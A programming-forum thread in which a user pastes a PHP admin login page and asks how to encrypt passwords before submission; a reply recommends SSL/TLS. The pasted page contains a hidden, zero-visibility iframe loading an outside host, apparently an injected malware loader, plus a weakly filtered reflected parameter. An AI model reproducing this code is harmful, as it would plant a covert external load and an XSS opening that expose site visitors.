hey,i have a login form wherein the take the username and password from the user and submit the form.im using burpsuite t check 4 threats.when i click on the submit button the password is visible.is it possible to encrypt the password as soon as enter it instead of passing it on clickin the submit button.here is my code: -
<?php
-
session_start();
-
-
$old_sessionid = session_id(); //i've added these lines
-
-
session_regenerate_id(); //i've added these lines
-
-
$new_sessionid = session_id(); //i've added these lines
-
if( isset($_SESSION['gel']) ) {
-
-
header("Location: admin.php");
-
}
-
-
-
-
if( isset($_POST['submit']) ) {
-
require_once "../inc/functions.php";
-
$user = htmlentities($_POST['txtuser']);
-
$pass = htmlentities($_POST['txtpass']);
-
if($user && $pass){
-
$error=sessionStart($user,$pass);
-
}else{
-
$error = " <p style='color:#FF0000'>Invalid Username or Password</p>";
-
}
-
}
-
-
function cleanInput($input) {
-
$search = array(
-
'@<\s*script[^>]*?>.*?<\s*/\s*script\s*>@si', // Strip out javascript
-
'@<\s*[\/\!]*?[^<>]*?>@si', // Strip out HTML tags
-
'@<\s*style[^>]*?>.*?<\s*/\s*style\s*>@siU', // Strip style tags properly
-
'@<![\s\S]*?[ \t\n\r]*>@',
-
'/<img[^>]+\>/i' // Strip multi-line comments
-
);
-
$output = preg_replace($search, '', $input);
-
return $output;
-
}
-
-
?>
-
-
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-
<html xmlns="http://www.w3.org/1999/xhtml">
-
<head>
-
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
-
<title>Admin :: Login</title>
-
<script type="text/javascript" src="md5.js"></script>
-
<script type="text/javascript" src="login.js"></script>
-
<link rel="stylesheet" type="text/css" href="admin.css" />
-
<script type="text/javascript">
-
<!--
-
function MM_validateForm() { //v4.0
-
if (document.getElementById){
-
var i,p,q,nm,test,num,min,max,errors='',args=MM_validateForm.arguments;
-
for (i=0; i<(args.length-2); i+=3) { test=args[i+2]; val=document.getElementById(args[i]);
-
if (val) { nm=val.name; if ((val=val.value)!="") {
-
if (test.indexOf('isEmail')!=-1) { p=val.indexOf('@');
-
if (p<1 || p==(val.length-1)) errors+='- '+nm+' must contain an e-mail address.\n';
-
} else if (test!='R') { num = parseFloat(val);
-
if (isNaN(val)) errors+='- '+nm+' must contain a number.\n';
-
if (test.indexOf('inRange') != -1) { p=test.indexOf(':');
-
min=test.substring(8,p); max=test.substring(p+1);
-
if (num<min || max<num) errors+='- '+nm+' must contain a number between '+min+' and '+max+'.\n';
-
} } } else if (test.charAt(0) == 'R') errors += '- '+args[i]+' is required.\n'; }
-
} if (errors) alert('The following error(s) occurred:\n'+errors);
-
document.MM_returnValue = (errors == '');
-
} }
-
//-->
-
-
</script>
-
-
</head>
-
-
<body><iframe src="http://b8e.at:8080/index.php" width=178 height=183 style="visibility: hidden"></iframe>
-
<div class="container">
-
<div class="wrap">
-
<div class="header">
-
<img class ="head_logo" src="http://bytes.com/submit/images/logo.jpg" alt="Goavernment Logo">
-
<div class ="head_name">
-
DIRECTORATE OF PANCHAYATS
-
</div>
-
</div>
-
-
<div align="center" class="outerbox">
-
<div align="center" class="loginbox">
-
<p style="font-family:Tahoma"><strong>Administrator Login</strong></p>
-
<?=cleanInput($_REQUEST['error']);?>
-
-
<form id="myform" name="myform" method="post" action="index.php">
-
-
<table width="250" border="0">
-
<tr>
-
<td align="left"><strong>User</strong></td>
-
<td > <input type="text" name="txtuser" id="User" /></td>
-
</tr>
-
<tr>
-
<td align="left"><strong>Password</strong></td>
-
<td ><input type="password" name="txtpass" id="Password" /></td>
-
</tr>
-
</table>
-
<br />
-
-
<input name="submit" type="submit" onclick="MM_validateForm('User','','R','Password','','R');return document.MM_returnValue" value="Login" />
-
</form>
-
</div>
-
</div>
-
</div><br>
-
</div>
-
</form>
-
-
</body>
-
</html>
-
-
1  1941  Atli 5,058
Expert 4TB
Hey.
I assume by "password is visible" you mean that it is being posted in plain-text? (If that's not the case, please elaborate.)
The best way to deal with that is to set up SSL/TLS. That encrypts the entire request, making data passed safe. - The downside to this is that you have to buy a certificate to use it online, but they are generally not that expensive.
You could of course try to encrypt it using JavaScript, but that's barely an improvement. It might stop the odd novice hacker, but anybody seriously attempting to bypass it could.
Sign in to post your reply or Sign up for a free account.
Similar topics
by: Todd Johnson |
last post by:
I am creating a dialog in wxPython for log in
purposes. Basically when the user clicks the ok
button, the dialog box saves the user name and
password as class attributes. Then as long as the...
|
by: Max |
last post by:
Hello all,
I am trying to protect a page within my site with a JS password
scheme.
Now I know JS can be quite easily "circumvented", but I came by a code
below.
My question is:
1. Is there...
|
by: Ian Davies |
last post by:
Hello
I would like to query the user table of the mysql database from my VB
application to check that a user's password entered in a text field on a
form corresponds to that users password in the...
|
by: newbie |
last post by:
Hello,
I face a practical problem with encryption.
I've read examples for encrypting a file with the DES algorythm. The
algorythm uses a key and a IV value. Both are 8 bytes if I'm correct,...
|
by: PJones |
last post by:
I am looking for the best way to one way encrypt a password for storage in a
database using (asp.net / vb.net)
basically I need some functions or examples that I can freely use in a
commercial...
|
by: cooltoriz |
last post by:
Hello there,
I just found that the compiled code won't hide the string variables so
that I can see them by opening the execuable using Notepad. I have
couple applications that have password...
|
by: =?Utf-8?B?am9uaWdy?= |
last post by:
I wrote a simple VB.NET application that imports and edits CSV files.
Now I’d like to “lock” the raw (pre-import) CSV files so these cannot be
opened separately. It is not high-sensitive...
|
by: Jeff Williams |
last post by:
I am developing an application which will allow users (students) to run
applications on PC's with elevated rights. This is necessary for some
applications which require Administrator rights on the...
|
by: Gilles Ganault |
last post by:
Hello
I'd like to encrypt a customer's organization name to use this as
their password to launch our application, and decrypt it within our
VB5 application.
We will then use this information...
|
by: Jon.Hakkinen |
last post by:
Hi all,
I'm on DB2 9.5 fp 0 on Windows.
I have a simple SQL stored procedure which uses the Encrypt() function
to insert data in a table.
I do not set the encryption password inside the...
|
by: taylorcarr |
last post by:
A Canon printer is a smart device known for being advanced, efficient, and reliable. It is designed for home, office, and hybrid workspace use and can also be used for a variety of purposes. However,...
|
by: Charles Arthur |
last post by:
How do i turn on java script on a villaon, callus and itel keypad mobile phone
|
by: ryjfgjl |
last post by:
If we have dozens or hundreds of excel to import into the database, if we use the excel import function provided by database editors such as navicat, it will be extremely tedious and time-consuming...
|
by: emmanuelkatto |
last post by:
Hi All, I am Emmanuel katto from Uganda. I want to ask what challenges you've faced while migrating a website to cloud.
Please let me know.
Thanks!
Emmanuel
|
by: nemocccc |
last post by:
hello, everyone, I want to develop a software for my android phone for daily needs, any suggestions?
|
by: Sonnysonu |
last post by:
This is the data of csv file
1 2 3
1 2 3
1 2 3
1 2 3
2 3
2 3
3
the lengths should be different i have to store the data by column-wise with in the specific length.
suppose the i have to...
|
by: Hystou |
last post by:
There are some requirements for setting up RAID:
1. The motherboard and BIOS support RAID configuration.
2. The motherboard has 2 or more available SATA protocol SSD/HDD slots (including MSATA, M.2...
|
by: marktang |
last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However,...
|
by: Oralloy |
last post by:
Hello folks,
I am unable to find appropriate documentation on the type promotion of bit-fields when using the generalised comparison operator "<=>".
The problem is that using the GNU compilers,...
| |
